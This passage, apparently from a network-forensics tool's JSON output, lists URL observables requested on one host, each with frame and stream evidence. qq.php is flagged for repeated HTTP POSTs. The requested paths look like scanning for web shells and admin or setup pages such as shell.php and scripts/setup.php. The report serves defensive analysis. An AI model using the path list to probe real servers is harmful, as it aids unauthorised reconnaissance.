            "timestamp_epoch": "1577256340.440832000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7fd7194f32c03259605517c8",
        "type": "url",
        "value": "http://128.199.64.235/pmamy/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2091,
            "display_filter": "frame.number == 2091",
            "timestamp_epoch": "1577256341.737472000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f44820f5f5583a75e8d5a138",
        "type": "url",
        "value": "http://128.199.64.235/pmamy2/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2094,
            "display_filter": "frame.number == 2094",
            "timestamp_epoch": "1577256342.022273000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-da2be3d928cb8628afade204",
        "type": "url",
        "value": "http://128.199.64.235/pmd/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2079,
            "display_filter": "frame.number == 2079",
            "timestamp_epoch": "1577256337.926148000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7a02b5ac708218bac166ee77",
        "type": "url",
        "value": "http://128.199.64.235/pmd_online.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 115,
            "display_filter": "frame.number == 115",
            "timestamp_epoch": "1577255371.668883000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b6ba9bbe21948dbc4e70adaa",
        "type": "url",
        "value": "http://128.199.64.235/post.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 37,
            "frame_number": 1286,
            "display_filter": "frame.number == 1286",
            "timestamp_epoch": "1577255909.826915000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-aade8677c6ead7da65499601",
        "type": "url",
        "value": "http://128.199.64.235/pp.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 21,
            "frame_number": 682,
            "display_filter": "frame.number == 682",
            "timestamp_epoch": "1577255649.872615000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2b52d31eb27973cfbfe15be0",
        "type": "url",
        "value": "http://128.199.64.235/ppl.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 732,
            "display_filter": "frame.number == 732",
            "timestamp_epoch": "1577255677.807975000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bebe80818b20fddeed5a38a5",
        "type": "url",
        "value": "http://128.199.64.235/ppp.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1960,
            "display_filter": "frame.number == 1960",
            "timestamp_epoch": "1577256253.280397000"
          },
          {
            "tcp_stream": 64,
            "frame_number": 1963,
            "display_filter": "frame.number == 1963",
            "timestamp_epoch": "1577256253.741748000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bed394ba25650563d15c3b42",
        "type": "url",
        "value": "http://128.199.64.235/ppx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1520,
            "display_filter": "frame.number == 1520",
            "timestamp_epoch": "1577256067.290262000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-77aec249b1dd5426a27d8866",
        "type": "url",
        "value": "http://128.199.64.235/program/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2364,
            "display_filter": "frame.number == 2364",
            "timestamp_epoch": "1577256430.849266000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-64ba5cefa9a6d274fb4c64be",
        "type": "url",
        "value": "http://128.199.64.235/pwd/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2280,
            "display_filter": "frame.number == 2280",
            "timestamp_epoch": "1577256399.260549000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-26953128989f099f389a725f",
        "type": "url",
        "value": "http://128.199.64.235/python.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 9,
            "frame_number": 462,
            "display_filter": "frame.number == 462",
            "timestamp_epoch": "1577255515.132165000"
          },
          {
            "tcp_stream": 40,
            "frame_number": 1323,
            "display_filter": "frame.number == 1323",
            "timestamp_epoch": "1577255933.790321000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4839361e7ae1ea461e24cc8f",
        "type": "url",
        "value": "http://128.199.64.235/q.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 32,
            "frame_number": 1146,
            "display_filter": "frame.number == 1146",
            "timestamp_epoch": "1577255831.430593000"
          },
          {
            "tcp_stream": 35,
            "frame_number": 1218,
            "display_filter": "frame.number == 1218",
            "timestamp_epoch": "1577255876.668859000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5b6efe95bf8631adee2ba06c",
        "type": "url",
        "value": "http://128.199.64.235/qa.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1559,
            "display_filter": "frame.number == 1559",
            "timestamp_epoch": "1577256079.157832000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-60e6f4d0dd23f6b0faa4630a",
        "type": "url",
        "value": "http://128.199.64.235/qaq.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 585,
            "display_filter": "frame.number == 585",
            "timestamp_epoch": "1577255613.561890000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a0e61824c06fc5ec27bd63bd",
        "type": "url",
        "value": "http://128.199.64.235/qaz.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1513,
            "display_filter": "frame.number == 1513",
            "timestamp_epoch": "1577256066.046211000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8a7164153dd7a169c83807e0",
        "type": "url",
        "value": "http://128.199.64.235/qiqi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 789,
            "display_filter": "frame.number == 789",
            "timestamp_epoch": "1577255705.787591000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3d6b7fa37e05f33e4145f7e1",
        "type": "url",
        "value": "http://128.199.64.235/qiqi1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 793,
            "display_filter": "frame.number == 793",
            "timestamp_epoch": "1577255706.365075000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-df3e0f32ce5951f0acfc2d89",
        "type": "url",
        "value": "http://128.199.64.235/qq.php",
        "classification": "suspicious",
        "ioc_candidate": true,
        "reasons": [
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 591
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 924
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 1090
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 1246
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 1751
          },
          {
            "kind": "behavior",
            "finding_id": "finding-9e298ff810ccf802b8d6c285",
            "rule_id": "repeated-http-posts",
            "frame_number": 1929
          }
        ],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Candidate requires analyst validation",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 591,
            "display_filter": "frame.number == 591",
            "timestamp_epoch": "1577255614.119116000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 924,
            "display_filter": "frame.number == 924",
            "timestamp_epoch": "1577255774.767048000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 1090,
            "display_filter": "frame.number == 1090",
            "timestamp_epoch": "1577255814.023132000"
          },
          {
            "tcp_stream": 35,
            "frame_number": 1246,
            "display_filter": "frame.number == 1246",
            "timestamp_epoch": "1577255886.969399000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1751,
            "display_filter": "frame.number == 1751",
            "timestamp_epoch": "1577256162.146081000"
          },
          {
            "tcp_stream": 64,
            "frame_number": 1929,
            "display_filter": "frame.number == 1929",
            "timestamp_epoch": "1577256245.178080000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7332ded37a738fec5348f952",
        "type": "url",
        "value": "http://128.199.64.235/qq5262.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1793,
            "display_filter": "frame.number == 1793",
            "timestamp_epoch": "1577256189.061901000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1772e419786ebd339a3e6ae2",
        "type": "url",
        "value": "http://128.199.64.235/qwe.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 36,
            "frame_number": 1275,
            "display_filter": "frame.number == 1275",
            "timestamp_epoch": "1577255905.651054000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e0a96760005fbb699b0bfab8",
        "type": "url",
        "value": "http://128.199.64.235/qwq.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 720,
            "display_filter": "frame.number == 720",
            "timestamp_epoch": "1577255674.305779000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1699,
            "display_filter": "frame.number == 1699",
            "timestamp_epoch": "1577256138.994329000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-50a70e243b0624f6ac42d972",
        "type": "url",
        "value": "http://128.199.64.235/qwqw.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1702,
            "display_filter": "frame.number == 1702",
            "timestamp_epoch": "1577256139.261556000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-84a8932cca03302f7fb23ce5",
        "type": "url",
        "value": "http://128.199.64.235/repeat.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1610,
            "display_filter": "frame.number == 1610",
            "timestamp_epoch": "1577256095.609398000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5a11f09e1c77223aadab7ad8",
        "type": "url",
        "value": "http://128.199.64.235/robots.txt",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 15,
            "display_filter": "frame.number == 15",
            "timestamp_epoch": "1577255332.482403000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-732292d5daf6c2ee3c86dd90",
        "type": "url",
        "value": "http://128.199.64.235/root.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 535,
            "display_filter": "frame.number == 535",
            "timestamp_epoch": "1577255591.048310000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-862d128f311bf44144fd4dbe",
        "type": "url",
        "value": "http://128.199.64.235/root11.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 541,
            "display_filter": "frame.number == 541",
            "timestamp_epoch": "1577255591.604107000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4fd3e6e91419f5667a86de14",
        "type": "url",
        "value": "http://128.199.64.235/rrr.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 770,
            "display_filter": "frame.number == 770",
            "timestamp_epoch": "1577255690.404894000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-803d029ce7556d8316fb6279",
        "type": "url",
        "value": "http://128.199.64.235/ruyi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1595,
            "display_filter": "frame.number == 1595",
            "timestamp_epoch": "1577256089.688554000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-12d5d6470f5a7f1f802ce80d",
        "type": "url",
        "value": "http://128.199.64.235/rxr.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 305,
            "display_filter": "frame.number == 305",
            "timestamp_epoch": "1577255411.823780000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4de50e163a2158e7d3087f71",
        "type": "url",
        "value": "http://128.199.64.235/s.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 575,
            "display_filter": "frame.number == 575",
            "timestamp_epoch": "1577255608.779678000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1a590bbe4693ef9a06b6d616",
        "type": "url",
        "value": "http://128.199.64.235/s/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2267,
            "display_filter": "frame.number == 2267",
            "timestamp_epoch": "1577256394.764646000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0edfb6966bcb183826afc202",
        "type": "url",
        "value": "http://128.199.64.235/s1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1620,
            "display_filter": "frame.number == 1620",
            "timestamp_epoch": "1577256097.780303000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-52d7328f339faaa35acecd04",
        "type": "url",
        "value": "http://128.199.64.235/sane.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 130,
            "display_filter": "frame.number == 130",
            "timestamp_epoch": "1577255373.008670000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-c416b814dbae1985e7d281d4",
        "type": "url",
        "value": "http://128.199.64.235/sbb/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2349,
            "display_filter": "frame.number == 2349",
            "timestamp_epoch": "1577256426.100896000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-a137f683b7e1e0c2222fe221",
        "type": "url",
        "value": "http://128.199.64.235/sconfig.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 969,
            "display_filter": "frame.number == 969",
            "timestamp_epoch": "1577255786.262514000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d439e8c8346bf63dea0a80a9",
        "type": "url",
        "value": "http://128.199.64.235/scripts/db___.init.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 221,
            "display_filter": "frame.number == 221",
            "timestamp_epoch": "1577255399.237692000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4144e5f8dfa61f98ed75e514",
        "type": "url",
        "value": "http://128.199.64.235/scripts/setup.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 211,
            "display_filter": "frame.number == 211",
            "timestamp_epoch": "1577255397.889886000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-af75a971fcd1bedbea4691a6",
        "type": "url",
        "value": "http://128.199.64.235/sean.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 42,
            "frame_number": 1336,
            "display_filter": "frame.number == 1336",
            "timestamp_epoch": "1577255951.060487000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4b05ac13cba210086d7ccf15",
        "type": "url",
        "value": "http://128.199.64.235/secure/ContactAdministrators!default.jspa",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 68,
            "frame_number": 2031,
            "display_filter": "frame.number == 2031",
            "timestamp_epoch": "1577256304.170811000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8c55d039e52513228e951b1c",
        "type": "url",
        "value": "http://128.199.64.235/settings.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1021,
            "display_filter": "frame.number == 1021",
            "timestamp_epoch": "1577255798.954637000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-de31b3032bf489dfe29f8746",
        "type": "url",
        "value": "http://128.199.64.235/sha.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 51,
            "frame_number": 1517,
            "display_filter": "frame.number == 1517",
            "timestamp_epoch": "1577256067.032303000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0e3fb27f5897ac174aea9f8b",
        "type": "url",
        "value": "http://128.199.64.235/shaAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2258,
            "display_filter": "frame.number == 2258",
            "timestamp_epoch": "1577256391.377653000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-45939509e60ee95af7d43075",
        "type": "url",
        "value": "http://128.199.64.235/she.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 46,
            "frame_number": 1431,
            "display_filter": "frame.number == 1431",
            "timestamp_epoch": "1577256009.702331000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2e931cbc52ddebab2c8f2aff",
        "type": "url",
        "value": "http://128.199.64.235/sheep.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 581,
            "display_filter": "frame.number == 581",
            "timestamp_epoch": "1577255610.604642000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-95c8736034cd7ae1316998b4",
        "type": "url",
        "value": "http://128.199.64.235/shell.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 121,
            "display_filter": "frame.number == 121",
            "timestamp_epoch": "1577255372.204598000"
          },
          {
            "tcp_stream": 5,
            "frame_number": 205,
            "display_filter": "frame.number == 205",
            "timestamp_epoch": "1577255396.615418000"
          },
          {
            "tcp_stream": 28,
            "frame_number": 893,
            "display_filter": "frame.number == 893",
            "timestamp_epoch": "1577255760.141708000"
          },
          {
            "tcp_stream": 30,
            "frame_number": 981,
            "display_filter": "frame.number == 981",
            "timestamp_epoch": "1577255787.908929000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5a78ff49b4d94d31f8f24446",
        "type": "url",
        "value": "http://128.199.64.235/shh.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 762,
            "display_filter": "frame.number == 762",
            "timestamp_epoch": "1577255685.187737000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-6886b286644eaa3e58d995ec",
        "type": "url",
        "value": "http://128.199.64.235/shopdb/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2368,
            "display_filter": "frame.number == 2368",
            "timestamp_epoch": "1577256432.060527000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-66fe753524c29ba7f777eaf3",
        "type": "url",
        "value": "http://128.199.64.235/Skri.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1072,
            "display_filter": "frame.number == 1072",
            "timestamp_epoch": "1577255810.352728000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5c56abf45279d4eab04a661e",
        "type": "url",
        "value": "http://128.199.64.235/sllolx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
